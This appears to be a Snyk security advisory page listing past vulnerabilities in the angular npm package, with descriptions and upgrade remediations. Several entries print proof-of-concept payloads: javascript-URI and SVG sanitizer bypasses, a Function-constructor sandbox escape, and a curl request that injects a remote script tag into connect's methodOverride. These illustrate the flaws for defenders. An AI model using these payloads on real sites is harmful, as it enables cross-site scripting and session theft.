Last tested: 16 Jul, 2018

angular vulnerabilities

HTML enhanced for web apps

View on npm

angular (latest)

Published 27 Jun, 2018

Known vulnerabilities0
Vulnerable paths0
Dependencies0

No known vulnerabilities in angular

Security wise, angular seems to be a safe package to use.
Over time, new vulnerabilities may be disclosed on angular and other packages. To easily find, fix and prevent such vulnerabilties, protect your repos with Snyk!

Vulnerable versions of angular

Fixed in 1.6.9

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.6.8

Overview

angularjs is a toolset for building the framework suited to your application development.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through SVG files if enableSvg is set.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.6.9 or higher.

References

Fixed in 1.6.7

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.6.6

Overview

angular is an HTML enhanced for web apps.

Affected versions of the package are vulnerable to Cross-site Scripting (XSS) via ideographic space chararcters in URIs.

Browsers mutate attributes values such as &#12288;javascript:alert(1) when they are written to the DOM via innerHTML in various vendor specific ways. In Chrome (<62), this mutation removed the preceding "whitespace" resulting in a value that could end up being executed as JavaScript.

Here is an example of what could happen:

// Code goes here
var h1 = document.querySelector('h1');
h1.innerHTML = '<a href="&#x3000;javascript:alert(1)">CLICKME</a>';
var innerHTML = h1.innerHTML;
console.log(innerHTML);
h1.innerHTML = innerHTML;

The sanitizer contains a bit of code that triggers this mutation on an inert piece of DOM, before angular sanitizes it.

Note: Chrome 62 does not appear to mutate this particular string any more, instead it just leaves the "whitespace" in place. This probably means that Chrome 62 is no longer vulnerable to this specific attack vector.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.6.7 or higher.

References

Fixed in 1.6.0-rc.0

JSONP Callback Attack

medium severity

Detailed paths

  • Introduced through: angular@1.6.0

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability.

Affected versions of the package are vulnerable to JSONP Callbacks attacks.

JSONP (JSON with padding) is a method used to request data from a server residing in a different domain than the client.

Any url could perform JSONP requests, allowing full access to the browser and the JavaScript context. This can lead to Cross-site Scripting.

Remediation

Upgrade angular to version 1.6.1 or higher.

References

Fixed in 1.5.9

Content Security Policy (CSP) Bypass

medium severity

Detailed paths

  • Introduced through: angular@1.5.8

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability.

Affected versions of the package are vulnerable to CSP Bypass. Extension URIs (resource://...) bypass Content-Security-Policy in Chrome and Firefox and can always be loaded. Now if a site already has a XSS bug, and uses CSP to protect itself, but the user has an extension installed that uses Angular, an attacker can load Angular from the extension, and Angular's auto-bootstrapping can be used to bypass the victim site's CSP protection.

Remediation

Upgrade angular to version 1.5.9 or higher.

References

Fixed in 1.5.0-rc.2

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.5.0-rc.1

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Cross-site Scripting (XSS) due to the usemap attribute not being blacklisted.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.5.0-rc.2 or higher.

References

Fixed in 1.5.0-rc.0

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.5.0-beta.2

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability.

Affected versions of the package are vulnerable to Cross-site Scripting (XSS) via the SVG <use> element. The <use> element can reference external SVG's (same origin) and can include xlink:href javascript urls or foreign object that can execute XSS. The change disallows <use> elements in sanitized SVG markup.

An example of a malicious SVG document would be:

SVG to sanitize:

<svg><use xlink:href="test.svg#xss" /></svg>

External SVG file (test.svg):

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg" width="100"
   height="100"
   id="xss">
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)">
  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
</a>
</svg>

Here the SVG to sanitize loads in the test.svg file via the <use> element. The sanitizer is not able to parse this file, which contains malicious executable mark-up. This can only be taken advantage of if the external file is available via the same origin restrictions in place.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.5.0-rc.0 or higher.

References

Fixed in 1.5.0-beta.2

Cross-site Scripting (XSS)

high severity

Detailed paths

  • Introduced through: angular@1.5.0-beta.0

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability.

Affected versions of the package are vulnerable to Mutation Cross-site Scripting (mXSS). This error occurs when $sanitize sanitizer tries to check the input for possible mXSS payload and the verification errors due to the input mutating indefinitely. This could be a sign that the payload contains code exploiting an mXSS vulnerability in the browser.

mXSS attack exploit browser bugs that cause some browsers parse a certain html strings into DOM, which once serialized doesn't match the original input. These browser bugs can be exploited by attackers to create payload which looks harmless to sanitizers, but due to mutations caused by the browser are turned into dangerous code once processed after sanitization.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.5.0-beta.2 or higher.

References

Arbitrary Code Execution

high severity

Detailed paths

  • Introduced through: angular@1.5.0-beta.0

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Code Execution via unsafe svg animation tags.

Details

Exploit Example:

<svg>
  <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
    <circle r="400"></circle>
    <animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
  </a>
</svg>

Here the anchor's href is animated, starting from a value that's a javascript URI. This allows execution of arbitrary javascript in the process. Preventing only the animation of links is tricky, as SVG is weird and namespaces aren't predictable. The fix is to have the sanitizer filter out svg animation tags instead.

Remediation

Upgrade angular to version 1.5.0-beta.2 or higher.

References

Fixed in 1.5.0

Clickjacking

medium severity

Detailed paths

  • Introduced through: angular@1.4.14

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability.

Affected versions of the package are vulnerable to Clickjacking. By enabling the SVG setting without taking other precautions, you might expose your application to click-hijacking attacks. In these attacks, sanitized SVG elements could be positioned outside of the containing element and be rendered over other elements on the page (e.g. a login link). Such behavior can then result in phishing incidents.

To protect against these, explicitly setup overflow: hidden css rule for all potential SVG tags within the sanitized content:

.rootOfTheIncludedContent svg {
  overflow: hidden !important;
}

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.5.0-beta.2 or higher.

References

Cross-site Scripting (XSS)

high severity

Detailed paths

  • Introduced through: angular@1.4.14

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Cross-site Scripting (XSS) due to no proper sanitization of xlink:href attributes.

Remediation

Upgrade angular to version 1.5.0-beta.0 or higher.

References

Fixed in 1.4.10

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.4.9

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks involving assignment on constructor properties.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.4.10 or higher.

References

Fixed in 1.3.2

Arbitrary Command Execution

medium severity

Detailed paths

  • Introduced through: angular@1.3.1

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Command Injection due to the assignment functions accessing constructors functions, allowing attackers to execute their malicious code.

Remediation

Upgrade angular to version 1.3.2 or higher.

References

Fixed in 1.3.0

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.2.32

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Cross-site Scripting (XSS) due to unsanitized URIs in ng-srcset.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.3.0-rc.4 or higher.

References

Arbitrary Code Execution

low severity

Detailed paths

  • Introduced through: angular@1.2.32

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Code Execution. $parse allowed arbitrary code execution via Angular expressions under some very specific conditions. The only applications affected by these vulnerabilities are those that match all of the following conditions:

  • Application mixes server-side and client-side templating
  • The server-side templating contains XSS vulnerabilities
  • The vulnerabilities in the server-side templating are being guarded by server-side XSS filters or on the client-side via CSP
  • The server-side XSS vulnerabilities can be used to augment the client-side template processed by Angular Applications not meeting all of the conditions are not vulnerable.

Remediation

Upgrade angular to version 1.3.0 or higher.

References

Fixed in 1.2.30

Arbitrary Script Injection

medium severity

Detailed paths

  • Introduced through: angular@1.2.29

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Script Injection.

Details

link[href] attributes were not protected via $sce, which prevents interpolated values that fail the RESOURCE_URL context tests from being used in interpolation. For example if the application is running at https://docs.angularjs.org then the following will fail:

<link href="{{ 'http://mydomain.org/unsafe.css' }}" rel="stylesheet">

By default, RESOURCE_URL safe URLs are only allowed from the same domain and protocol as the application document.

Remediation

Upgrade angular to version 1.2.30 or higher.

References

Fixed in 1.2.27

Unsafe Object Deserialization

high severity

Detailed paths

  • Introduced through: angular@1.2.23

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Unsafe Object Deserialization.

Details

The exploitable code:

hasOwnProperty.constructor.prototype.valueOf = valueOf.call;
    ["a", "alert(1)"].sort(hasOwnProperty.constructor);

The exploit:

    1. Array.sort takes a comparison function and passes it 2 parameters to compare.
    2. It then calls .valueOf() if the result is not a primitive.
  • The Function object conveniently accepts two string arguments so so it can be used to construct a function. However, this doesn't do much unless it can be executed.
  • The valueOf function on Function.prototype was set to Function.prototype.call. This causes the function constructed to be executed when sort calls .valueOf() on the result of the comparison.

Remediation

Upgrade angular to version 1.2.24 or higher.

References

Regular Expression Denial of Service (ReDoS)

low severity
  • Vulnerable module: nwmatcher
  • Introduced through: jsdom@0.8.11

Detailed paths

  • Introduced through: angular@1.2.23 > jsdom@0.8.11 > nwmatcher@1.3.9

Overview

nwmatcher is a CSS3-compliant JavaScript selector engine.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This can cause an impact of about 10 seconds matching time for data 2k characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Mar 5th, 2018 - Vulnerability published
  • Mar 5th, 2018 - Vulnerability fixed

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nmwatcher to version 1.4.4 or higher.

References

Fixed in 1.2.2

Protection Bypass

high severity

Detailed paths

  • Introduced through: angular@1.2.1

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Protection Bypass via ng-attr-action and ng-attr-srcdoc allowing binding to Javascript. The fix was to require bindings to form[action] to be $sce.RESOURCE_URL and bindings to iframe[srcdoc] to be $sce.HTML

Remediation

Upgrade angular to version 1.2.2 or higher.

References

Fixed in 1.2.0

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.1.5

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability.

Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks.

DOM event handlers await events to occur (e.g. onclick, onkeypress, etc) and execute arbitrary Javascript code in accordance to the event. By default, interpolations inside DOM event handlers are disallowed. Using an interpolation for such handlers means that the interpolated value is a JS string being evaluated. Storing or generating such strings is error prone and likely leads to a Cross-site Scripting (XSS) vulnerability if you're not careful. On the other hand, ng-click and such event handlers evaluate Angular expressions that are a lot safer (e.g. No direct access to global objects - only scope), cleaner and harder to exploit.

To migrate the code follow the example below: Before:

JS:   scope.foo = 'alert(1)';
HTML: <div onclick="{{foo}}">

After:

JS:   scope.foo = function() { alert(1); }
HTML: <div ng-click="foo()">

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.2.0 or higher.

References

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: angular@1.1.5

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Cross-site Scripting (XSS).

Concatenating expressions makes it hard to reason about whether some combination of concatenated values are unsafe to use and could easily lead to XSS. By requiring that a single expression be used for *[src/ng-src] such as iframe[src], object[src], etc. (but not img[src/ng-src] since that value is sanitized), it is ensured that the value that's used is assigned or constructed by some JS code somewhere that is more testable or make it obvious that you bound the value to some user controlled value. This helps reduce the load when auditing for XSS issues.

To migrate your code, follow the example below:

Before:

JS:
scope.baseUrl = 'page';
scope.a = 1;
scope.b = 2;
HTML:
<!-- Are a and b properly escaped here? Is baseUrl
 controlled by user? -->
<iframe src="{{baseUrl}}?a={{a}&b={{b}}">

After:

JS:
var baseUrl = "page";
scope.getIframeSrc = function() {
  // There are obviously better ways to do this.  The
  // key point is that one will think about this and do
  // it the right way.
  var qs = ["a", "b"].map(function(value, name) {
  return encodeURIComponent(name) + "=" +
 encodeURIComponent(value);
}).join("&");
  // baseUrl isn't on scope so it isn't bound to a user
  // controlled value.
  return baseUrl + "?" + qs;
}
HTML: <iframe src="{{getIframeSrc()}}">Before:

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Remediation

Upgrade angular to version 1.2.0 or higher.

References

Fixed in 1.1.5

Arbitrary Script Injection

high severity

Detailed paths

  • Introduced through: angular@1.1.4

Overview

angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Script Injection due to improper sanitization of the $event object passed to the native constructor functions. That isn't protected by the fast paths in $parse.

Remediation

Upgrade angular to version 1.1.5 or higher.

References

-GitHub Commit

Fixed in 1.0.0

Denial of Service (DoS)

medium severity

Detailed paths

  • Introduced through: hapi@0.0.4 > express@2.5.11 > connect@1.9.2
  • Introduced through: angular@0.0.4 > express@2.5.10 > connect@1.9.2

Overview

connect is a high performance middleware framework.

Affected versions of the package are vulnerable to Denial of Service (DoS) attacks. It is possible to crash the node server by requesting a url with a trailing backslash in the end.

Remediation

Upgrade connect to version 2.0.0 or higher.

References

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: cordova@0.0.4 > express@3.0.6
  • Introduced through: hapi@0.0.4 > express@2.5.11
  • Introduced through: angular@0.0.4 > express@2.5.10

Overview

express is a minimalist web framework.

Affected versions of this package do not enforce the user's browser to set a specific charset in the content-type header while displaying 400 level response messages. This could be used by remote attackers to perform a cross-site scripting attack, by using non-standard encodings like UTF-7.

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
  • DOM-based XSS is an that occurs purely in the browser when client-side JavaScript echoes back a portion of the URL onto the page. DOM-Based XSS is notoriously hard to detect, as the server never gets a chance to see the attack taking place.

Recommendations

Update express to 3.11.0, 4.5.0 or higher.

References

Cross-site Scripting (XSS)

medium severity

Detailed paths

  • Introduced through: cordova@0.0.4 > express@3.0.6 > connect@2.7.2
  • Introduced through: hapi@0.0.4 > express@2.5.11 > connect@1.9.2
  • Introduced through: angular@0.0.4 > express@2.5.10 > connect@1.9.2

Overview

Connect is a stack of middleware that is executed in order in each request.

The "methodOverride" middleware allows the http post to override the method of the request with the value of the _method post key or with the header "x-http-method-override".

Because the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the "Cannot [method] [url]" content. The method was not properly encoded for output in the browser.

Source: Node Security Project

Example

~ curl "localhost:3000" -d "_method=<script src=http://nodesecurity.io/xss.js></script>"
Cannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /

Mitigation factors

Update to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.

History

Details

Cross-Site Scripting (XSS) attacks occur when an attacker tricks a user’s browser to execute malicious JavaScript code in the context of a victim’s domain. Such scripts can steal the user’s session cookies for the domain, scrape or modify its content, and perform or modify actions on the user’s behalf, actions typically blocked by the browser’s Same Origin Policy.

These attacks are possible by escaping the context of the web application and injecting malicious scripts in an otherwise trusted website. These scripts can introduce additional attributes (say, a "new" option in a dropdown list or a new link to a malicious site) and can potentially execute code on the clients side, unbeknown to the victim. This occurs when characters like \< > \" \' are not escaped properly.

There are a few types of XSS:

  • Persistent XSS is an attack in which the malicious code persists into the web app’s database.
  • Reflected XSS is an which the website echoes back a portion of the request. The attacker needs to trick the user into clicking a malicious link (for instance through a phishing email or malicious JS on another page), which triggers the XSS attack.
